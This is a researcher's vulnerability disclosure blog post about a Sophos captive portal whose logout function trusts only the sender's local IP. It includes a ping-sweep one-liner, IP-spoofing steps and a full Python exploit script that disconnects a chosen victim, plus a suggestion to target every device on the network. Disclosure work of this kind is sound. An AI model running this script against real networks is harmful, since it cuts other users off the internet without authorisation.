MOHAMMED ADEL
Published on

Sophos Captive Portal; Disruption of Service

Authors
  • avatar
    Name
    MOHAMMED ADEL
    Twitter

Captive Portal

A captive portal is a web page or portal used to control and manage user access to a network or the internet, typically in public Wi-Fi hotspots, hotels, airports, and other public locations. When a user attempts to connect to the network or access the internet, they are redirected to the captive portal page, where they must log in with valid credentials to gain internet access. Captive portals serve as a gateway to enforce access control and network policies.

Summary

An attacker can cause disruption of service by sending specially crafted HTTP requests to the sophos captive portal, which can lead to the targeted devices being disconnected from the internet and forced to re-login. This attack can be carried out by an attacker who is within range of the sophos captive portal.

Finding The Vulnerability

After spending a reasonable amount of time examining the available functions and features in the Sophos captive portal, I discovered a feature that could be abused: the logout function. Upon further investigation, I found that the logout function does not rely on any token-based validation or parameter value checks, but rather on the sender's local IP address. This gives an attacker the ability to perform application-layer IP spoofing to terminate the session of other logged-in users.

With that in mind, the image below illustrates a POST request that was sent to the Sophos captive portal with the intention of ending a session for a user named random. However, it's important to emphasize that the Sophos captive portal actually terminated the session for a user named user. This occurred because the local IP address used to initiate the request was associated with the user named user, not random This observation reaffirms the fact that the validation process relies entirely on the sender's local IP address.

Constructing an Exploitation Path

Now that we have identified where the vulnerability is; let's go ahead and construct an exploitation path which can be automated in a further stage.

  • Perform a ping sweep to get the IP addresses of other connected devices on the network.
for i in {1..254} ;do (ping -c 1 X.X.X.$i | grep "bytes from" &) ;done
  • Modify the TCP/IP configuration from DHCP (Dynamic Host Configuration Protocol) to STATIC (Manual) settings & set the IP Address value to match that of the victim's IP address.

  • Send the logout POST request to the captive portal [You may repeat this step as duplicating the same IP address of other devices could result in packets loss and/or communication failures].

Proof of Concept (PoC)

The script in this section automates the previously outlined steps in the exploitation path. Please be aware that this script is designed for educational or proof-of-concept purposes only. It's configured to target a single IP address to demonstrate the vulnerability. You can customize it to automate the exploit on all connected devices within the network for testing and experimentation purposes. Remember to use this script responsibly and within the boundaries of applicable laws and ethical guidelines.

Little red ridning hood

exploit.py
# Sophos Captive Portal - Disruption of Service Vulnerability
# Tested on Kali Linux
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import os, time, sys
import netifaces

def ImpersonateVictim(Target_IP, Netmask, NetworkAdapterName, Gateway):
    AddIPandNETMASK = "sudo ifconfig "+NetworkAdapterName+" "+Target_IP+" netmask "+Netmask
    print("[+] Impersonating Target IP Address : "+Target_IP)
    print(os.popen(AddIPandNETMASK).read())

    AddGateway = "sudo ip route add "+Gateway+" dev "+NetworkAdapterName
    print("[+] Setting Up Gateway : "+Gateway)
    print(os.popen(AddGateway).read())

def CanReachTarget(IP, NetworkAdapterName):
    print("[!] Checking if IP : [ "+IP+" ] is reachable..\n")
    HOST_UP = os.system("ping -I "+NetworkAdapterName+" -c 1 "+IP+" >/dev/null 2>&1")
    if HOST_UP == 0:
        return True
    else:
        return False

def Logout_Request(IP, Target_URL):
    try:
        burp0_url = Target_URL+"/logout.xml"
        burp0_headers = {"Sec-Ch-Ua": "\"Chromium\";v=\"113\", \"Not-A.Brand\";v=\"24\"", "Sec-Ch-Ua-Platform": "\"Linux\"", "Sec-Ch-Ua-Mobile": "?0", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded", "Accept": "*/*", "Origin": Target_URL, "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": Target_URL, "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
        burp0_data = {"mode": "193", "username": "dd", "a": "1685024758517", "producttype": "0"}
        r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data, verify=False)
        if "requestresponse" in r.text:
            print("\n[+] Targeted IP Address : [ "+IP+" ] Has Been Denied Internet Access Successfully.")
        return r.status_code
    except requests.exceptions.RequestException as e:
        print("[+] Failed To Connect!")

def CleanUp(NetworkAdapterName):
    print("[*] Restoring Default Network Configuration.")
    Down = "sudo ifconfig "+NetworkAdapterName+" down"
    Up = "sudo ifconfig "+NetworkAdapterName+" up"
    print(os.popen(Down).read())
    print(os.popen(Up).read())

def ExtractGateway(NetworkAdapterName):
    gateways = netifaces.gateways()
    gateway = gateways['default'][netifaces.AF_INET][0]
    return gateway

def ExtractNetMask(NetworkAdapterName):
    netmask = netifaces.ifaddresses(NetworkAdapterName)[netifaces.AF_INET][0]['netmask']
    return netmask

Target_URL = sys.argv[1] # Captive Portal Url, [http://10.1.1.200:8090]
Target_IP = sys.argv[2] # Target IP Address, [10.1.1.10]
NetworkAdapterName = sys.argv[3] # Network Interface Name, [eth0 or wlan0]
Gateway = ExtractGateway(NetworkAdapterName)
netmask = ExtractNetMask(NetworkAdapterName)

print("[*] Sophos Captive Portal - Disruption of Service Vulnerability ")
print("[*] Starting..")
print("[*] Captive Portal URL: "+Target_URL)
print("[*] Target IP : "+Target_IP)
print("[*] Selected Network Interface : "+NetworkAdapterName)
print("[*] Gateway of "+NetworkAdapterName+" : "+Gateway)
print("[*] Netmask of "+NetworkAdapterName+" : "+netmask)
IsLIVE = CanReachTarget(Target_IP, NetworkAdapterName)
if IsLIVE == True:
    print("[+] IP : [ "+Target_IP+" ] Is reachable.\n")
    ImpersonateVictim(Target_IP, netmask, NetworkAdapterName, Gateway)
    status = True
    while status:
        Stat = Logout_Request(Target_IP, Target_URL)
        if (Stat != 200):
            print("Status code is not 200, entering sleep for 2 seconds")
            time.sleep(2)
        else:
            print("\n")
            status = False
            CleanUp(NetworkAdapterName)
else:
    print("[-] IP : [ "+Target_IP+" ] is not reachable!!\n")

Disclosure Timeline

  • 27/05/2023: Submitted the vulnerability to Sophos.
  • 26/07/2023: Vulnerability Triaged.
  • 12/09/2023: I have requested updates, but have received no response up to this point.
  • 06/11/2023: After over five months since the initial submission date, I've made the decision to disclose this vulnerability.